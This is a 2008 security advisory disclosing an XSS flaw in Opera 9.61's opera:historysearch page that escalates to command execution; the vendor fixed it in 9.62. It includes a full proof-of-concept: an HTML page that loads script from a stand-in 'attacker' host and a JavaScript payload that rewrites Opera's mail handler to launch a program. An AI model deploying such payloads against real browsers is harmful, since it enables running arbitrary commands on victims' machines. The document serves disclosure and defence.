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#MSA01111108
Opera Xss leads to command execution.
Tested Versions:
Opera 9.61
Tested OS:
XP Professional SP2 Italian
Minded Security ReferenceID:
MSA01111108
Credits:
Discovered by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com
Reference:
MSA01111108
Severity:
High
Solution: upgrade to Opera 9.62
Summary
Opera fails to sanitize the q parameter in opera:historysearch.
This leads to a Cross Site Scripting in the context of opera: scheme leveraging it to perform execution of arbitrary commands under the user executing the browser.
Analysis
If an attacker entice a user to click/visit a malicious page pointing the browser to:
opera:historysearch?q=">payload&p=1&s=1
there is the chance to exploit once again the opera:* scheme, but just if some result in the historysearch page is found.
In order to satisfy this hypothesis, the payload itself needs to be cached by opera.
An attacker could simply let Opera display it in the evil page:
<script src="http://attacker/operahistory/index.html"></s...
<!--
// Js payload starts here
// Js payload from Aviv Raff's implementation of
// my suggestions http://seclists.org/fulldisclosure/2008/Oct/0401.html
s=document.createElement("IFRAME");
s.src="opera:config";
document.body.appendChild(s);
s.src="javascript:opera.setPreference('Mail','External Application',
'c:\\\\windows\\\\system32\\\\calc.exe');
opera.setPreference('Mail','Handler','2');parent.window.close()";
// Aviv's payload ends here
// Js payload ends here
/* Html payload Starts here
-->
<html>
<script>
function x() {
window.open('opera:historysearch?q=%2A">
<script+src%3d"http:%%32f%%32fattacker%%32foperahistory%%32findex.html">
<%%32fscript>&p=1&s=1');
setTimeout(function(){window.open('mailto:abc')},500);
}
</script>
<body onload="setTimeout(x,300)">
<h3>opera:historysearch?q=%2AXssHere POC</h3>
Wait for a while<br/>
The string for cache retrieval: <br/>
<b>
<script src="http://attacker/operahistory/index.html"></s...
</b>
</body>
</html>
<!-- Html payload Ends here */
-->
Then since same origin policy matching is evaluated by comparing
scheme1 + host1 + port1 == scheme2 + host2 + port2
We got opera:* considered as:
opera + null + null
For every opera:* feature.
So by injecting an iframe from opera:historysearch and pointing to opera:config there is a match in the same origin policy, leading to command execution.
Credits
Stefano di Paola is credited with the discovery of this vulnerability.
Disclosure Timeline
22/10/2008 Issue found
30/10/2008 Vendor releases opera 9.62 which fixes the issue
Acknowledgements
Minded Security would like to thanks Roberto Suggi Liverani, Kuza55 and Aviv Raff.
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